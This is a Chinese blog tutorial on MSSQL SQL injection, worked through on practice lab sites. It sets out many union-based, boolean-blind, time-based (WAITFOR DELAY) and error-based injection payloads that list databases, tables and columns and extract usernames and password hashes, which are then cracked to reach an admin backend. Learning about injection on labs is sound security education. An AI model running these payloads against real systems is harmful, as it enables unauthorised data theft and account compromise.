Mssql基础注入

前言

Mssql也是一个较为常用的数据库,在对Mysql学习过后,来对Mssql进行简单学习,希望能对正在学习Mssql的师傅们有所帮助。(本篇完全水文,勿喷)

基础知识

增删改查

首先先简单说一下增删改查的语句吧

1、新建数据库
create database name
//实例如下
create database quan9i //创建一个名为quan9i的数据库
删除数据库
drop database name
//实例如下
drop database quan9i //删除quan9i数据库

2、新建数据表(默认是master数据库,想指定库的话需提前声明该库)
use  name ;
create table table_name(column1 char(255),column2 char(255),column3 int);
//实例如下
use quan9i;
create table QAQ(users char(255),passwd char(255),age int);//创建一个名为QAQ的表,里面包含三列、分别为users,passwd和age

删除数据表
drop table table_name;
//实例如下
drop table dbo.qwq;

向表中插入数据
insert into table_name(column,column2,column3) values(value1,value2,value3);
//实例如下
insert into QAQ (users,passwd,age) values('quan9i','quan9i',19);//向QAQ表中插入内容,users和passwd均为quan9i,age为19

删除表中内容
delete from table_name where column1=value1;
//实例如下
delete from QAQ where users=quan9i;//删除QAQ表中users为'quan9i'的内容

3、更改内容
UPDATE table_name set column1=value1
//实例如下
UPDATE QAQ set users='quan9i' where age=19; //将QAQ表中age为19的users改为quan9i

4、查找内容
select * from table_name where column1=value1;
//实例如下
select * from QAQ where users='quan9i';//将QAQ表中users为quan9i的内容筛选出来

常用函数

在Mssql中的一些函数和Mysql是略有不同的,比如延时函数,所以这里需要简单介绍一下函数,具体如下所示

WAITFOR DELAY '0:0:n' //延时n秒
substring(string,a,b) //从a开始,截取string的前b位,比如substring('abcde',1,2),就是ab
@@version //版本信息
select suser_name(); //用户登录名
select user_name();  //用户在数据库中的名字
db_name() //当前数据库名

同时由于Mssql筛选语句用的是top 1这种,而不是limit 1,1这种,所以需要简单介绍一下去获取第二条数据。(这个语句下文会再次讲述,这里暂时不懂也没关系)

1、使用 <> 来排除已经显示的数据,获取下一条数据。
2、使用not in来排除已经显示的数据,获取下一条数据。

再对两个举个简单的利用例子,如下

id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <>5575058
//表示从表中查取id和表名,且这个id不是5575058,这样就成功得到了下一条数据
id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in('5575058')
//跟上一个语句含义相同,仅仅是<>换成了not in

基础语句测试(从版本号到查看数据)

首先打开Navicat后连接数据库,接下来就开始我们快乐的测试之旅了。
首先测试一下是否是Mssql数据库
首先测试一下版本

select @@version

在这里插入图片描述
可以看到成功的查询出来了
接下来查一下数据库

select name from master.dbo.sysdatabases ORDER BY name;
select name from master..SysDatabASes ORDER BY name
//两个语句其实是相同的

在这里插入图片描述
获取当前数据库

select db_name()

在这里插入图片描述
查询数据库的表名

select name from test.dbo.sysobjects
在这里插入图片描述

sysobjects表是SQL Server的系统表,记录了数据库内创建的每一个对象

如果这样直接查的话,如上图所示,有很多不需要的数据也会跟着显现出来,而我们此时去找表名时,无疑就增添了一分困难,所以我们需要去筛选一下。
我们可以利用xtype='u'这种方式来筛选我们所想查找的表名。sysobjects表如下图所示,其中也对xtype进行了简单描述(图片引用于https://blog.csdn.net/hongduilanjun/article/details/123400530)
在这里插入图片描述
从图中不难看出xtype='u'对应的是用户表的名字,因此这时就可以实现筛选,达到只看表名的目的
语句如下

select name from master.dbo.sysobjects where xtype='u'

在这里插入图片描述
然后我们如果想每次只看一行的话(亦或是在真实环境中只能回显一行),这个时候是没有、mysqllimit函数的,我们该怎么办呢,这个时候可以借助top,我们在语句前加上top 1就可以使其只回显一行数据,如下所示
在这里插入图片描述
此时就可以只获取一行数据了,达到我们的效果了,可是这个一行是从1开始的,那我们该如何去查第二行,第三行这种呢,只需要加name!='xxx'即可,如下所示

select top 1 name from master.dbo.sysobjects where xtype='u' and name!='trace_xe_action_map'

在这里插入图片描述
前三行的查询还是相对比较简单的,只需要一两个name !=,可是如果是七八行这种,他就显得相对不便捷了,这个时候可以借助not in,示例如下

select top 1 name from master.dbo.sysobjects where xtype='u' and name not in ('trace_xe_action_map','trace_xe_event_map')

在这里插入图片描述
这些就是筛选出表名的基本语句啦。
接下来看下一个,获取列名(字段名)
它的语句类似于查表名,最简单的如下所示

select * from test.dbo.syscolumns

在这里插入图片描述
不难看出他的列有很多,对应列名大致介绍一下,如下所示
在这里插入图片描述
这里筛选一下
比如我们的目的是得到data表的列名,可如下所示

select name from test1.dbo.syscolumns where id=(select id from  test1.dbo.sysobjects where name = 'data') and name<>'id'
id=-1 union all select  top 1 '1','2',column_name,'4' from information_schema.columns where table_name='manage' and column_name <>'id'

其实这里的话,就是利用了一个id列,因为每个表中都存在id列,我们借id先筛选出data全部列,然后取除了id的其他列
在这里插入图片描述
这里成功查询处了其列名,加上id的话共有三个,即

id,users,password

接下来就可以去根据列名去查字段信息了,语句如下所示

select top 1 username from test1.dbo.users

在这里插入图片描述
而当我们想同时查看多条数据时,将列名相加即可,具体如下所示

select top 1 username+':'+ password from test1.dbo.users
在这里插入图片描述

靶场测试

这里的靶场环境直接采用墨者学院的靶场,省的自己搭建了,靶场链接如下
https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
开启靶场后
在这里插入图片描述
发现这里的话下方通知处是个超链接,点进去查看一下
在这里插入图片描述
发现参数id,疑似注入点,验证一下

id=2 and 1=1
id=2 and 1=2 

在这里插入图片描述
在这里插入图片描述
两者明显回显不同,存在SQL注入

联合查询

判断第一步的话肯定是判断是否存在注入,之前判断过了,所以这里就不用再进行测试了
我们直接进入第二步,查询字段数

id=2 order by 4
id=2 order by 5 

在这里插入图片描述
回显正常
在这里插入图片描述
回显异常
据此可以看出4是字段数,即这里存在四个字段。
接下来寻找回显位,构造payload如下

id=1' union all select '1','2','3','4'

在这里插入图片描述
发现回显位是23,接下来就去尝试查看版本号

id=-1 union all select '1','2',@@version,'4'

在这里插入图片描述
接下来知道了数据库的版本号,就该去查库名了,我们查询数据库的话可以用db_name函数来进行查询,语句如下

id=-1 union all select '1','2',db_name(0),'4'
id=-1 union all select '1','2',db_name(1),'4'
id=-1 union all select '1','2',db_name(2),'4'
id=-1 union all select '1','2',db_name(3),'4'
id=-1 union all select '1','2',db_name(4),'4'

在这里插入图片描述
这里根据遍历得到了数据库名
接下来去找表名

id=-1 union all select '1','2',name,'4' from dbo.sysobjects where xtype='U'

在这里插入图片描述
查询第二个就用name!=第一个表名即可

id=-1 union all select top 1 '1','2',name,'4' from dbo.sysobjects where xtype='U' and name!='manage'

在这里插入图片描述
查询第三个的话可以用not in

id=-1 union all select top 1 '1','2',name,'4' from dbo.sysobjects where xtype='U' and name not in('manage','announcement')

不过这里因为只存在两个表,所以报错了
在这里插入图片描述
我看一位大师傅是这样查询的

id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in ('5575058')
id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <>5575058
//这两个语句效果是一样的

这个的话其实与刚刚测试的payload有异曲同工之妙,这个是通过筛选表名的id来筛选表名,我们那个是根据表名直接来进行筛选的,两者其实是相同的。
接下来查询列名,构造payload如下

id=-1 union all select  top 1 '1','2',column_name,'4' from information_schema.columns where table_name='manage'

在这里插入图片描述
查询第二个和第三个

id=-1 union all select  top 1 '1','2',column_name,'4' from information_schema.columns where table_name='manage' and column_name <>'id'
id=-1 union all select  top 1 '1','2',column_name,'4' from information_schema.columns where table_name='manage' and column_name not in('id','username')

在这里插入图片描述
参考另一位师傅的博客时看到这有一种方式,这个相比更为快捷,只需遍历即可获取某一张表下全部列名

id=-1 union all select  top 1 '1','2',col_name(object_id('manage'),1),'4' from sysobjects
id=-1 union all select  top 1 '1','2',col_name(object_id('manage'),2),'4' from sysobjects
id=-1 union all select  top 1 '1','2',col_name(object_id('manage'),3),'4' from sysobjects
在这里插入图片描述

接下来有了字段名,就可以去查字段信息了

id=-1 union all select  top 1 '1','2',username,'4' from manage

在这里插入图片描述
password字段

-1 union all select  top 1 '1','2',password,'4' from manage

在这里插入图片描述
md5解密一下得到
在这里插入图片描述
成功得到密码,拿去登录
在这里插入图片描述
成功进入后台

布尔盲注

首先来猜解一下数据库长度

id=2 and len((select  db_name(0)))>11
id=2 and len((select  db_name(0)))=11

在这里插入图片描述
获取到长度为11,接下来猜解数据库名
在mssql中虽然没有substr,但是可以用substring来代替它,两者作用是相同的

id=2 and ascii(substring(db_name(),1,1))>100  //正常显示

id=2 and ascii(substring(db_name(),1,1))>150  //不正常

id=2 and ascii(substring(db_name(),1,1))>125  //不正常

id=2 and ascii(substring(db_name(),1,1))>112  //不正常  

id=2 and ascii(substring(db_name(),1,1))>106  //正常

id=2 and ascii(substring(db_name(),1,1))=109  //正常

在这里插入图片描述
利用这种语句结合二分法可以猜解得到数据库名字。

接下来猜解表名
首先判断mozhe_db_v2数据库中表的个数:

id=2 and (select count(name) from mozhe_db_v2..sysobjects where xtype='U')=2

等于2时正常,说明有2个表。
接下来判断表的长度

id=2 and ascii(substring((select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),7,1))>0

当为7时,不正常显示,说明表长度为6。同理得另一个表长度
接下来测试表名

id=2 and ascii(substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1))=109

在这里插入图片描述
第一个为m,以此类推得到表名为manage

接下来测试字段名
首先判断字段数的个数

id=2 and (select count(name) from mozhe_db_v2..syscolumns where id=(select id from mozhe_db_v2..sysobjects where name='manage'))=3

等于3时回显正常,说明字段数有3个。
接下来判断字段的长度

id=2 and len((select top 1 col_name(object_id('manage'),1) from mozhe_db_v2..sysobjects))=2

等于2时回显正常,说明第1个字段的长度为2。
同理,得到第2个字符长度为8,第3个字符长度为8。
接下来查询第一个列名

id=2 and ascii(substring((select top 1 col_name(object_id('manage'),1) from sysobjects),1,1))=105

在这里插入图片描述
可得第一个为i,同理得第二个为d,所以可知第一个列名为id
同理得其他列名

接下来猜解字段

id=2 and ascii(substring((select username from manage),1,1))=97

在这里插入图片描述
以此类推,得到用户名为admin_mz,接下来猜解passwd字段

id=2 and ascii(substring((select password from manage),1,1))=55

第一个为7,以此类推,得到密码72e1bfc3f01b7583,md5解密得到真正密码

时间盲注

这里首先提一个函数

WAITFOR DELAY '0:0:5' //延时5秒钟

把他加在语句之后,如果正确的话,回显是正确的话会延时五秒
判断是否是sysadmin权限

id=2 if(select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'

在这里插入图片描述
接下来测试数据库名
数据库的话需要用到substring函数,测试数据库第一个字母代码如下

id=2 if (ascii(substring((select top 1 db_name()),1,1))=109) WAITFOR DELAY '0:0:5'

在这里插入图片描述
测试数据库的另外几个字母亦是同理。
接下来测试表名

id=2 if (ascii(substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1))=109) WAITFOR DELAY '0:0:5'

在这里插入图片描述
以此类推得到表名
接下来测试列名

id=2 if (ascii(substring((select top 1 col_name(object_id('manage'),1) from sysobjects),1,1))=105) WAITFOR DELAY '0:0:5'

以此类推得到列名,接下来测试数据

id=2 if (ascii(substring((select username from manage),1,1))=97) WAITFOR DELAY '0:0:5'

以此类推最终得到数据

字符型靶场测试

靶场地址
http://o9pz8015.ia.aqlab.cn/
进入环境
在这里插入图片描述
输入id=1试试看
在这里插入图片描述
测试是否存在注入
在这里插入图片描述
一眼顶真,字符型注入,单引号闭合,尝试闭合语句

id=1' --+

在这里插入图片描述
接下来查询字段数

id=1' order by 3 --+
id=1' order by 4 --+

在这里插入图片描述
字段数为3
查数据库和版本信息

id=-1' union all select 1,db_name(),@@version--+

在这里插入图片描述
查表名

-1' union all select  1,name,'4' from dbo.sysobjects where xtype='U'--+

在这里插入图片描述
查列名

-1' union all select  1,column_name,'4' from information_schema.columns where table_name='admin'--+

查字段

-1' union all select  1,token,passwd from admin--+
在这里插入图片描述

关于报错注入

MSSQL报错注入利用的就是显示或隐式转换来报错注入,比如以下就是典型的隐式转换

select * from admin where id =1 and (select user)>0--

select * from admin where id =1|(select user)--

在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。

显示转换也就是利用函数来转换,我们经常用到的两个函数就是cast和convert

select * from admin where id =1 (select CAST(USER as int))

select * from admin where id =1 (select convert(int,user))
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
 
...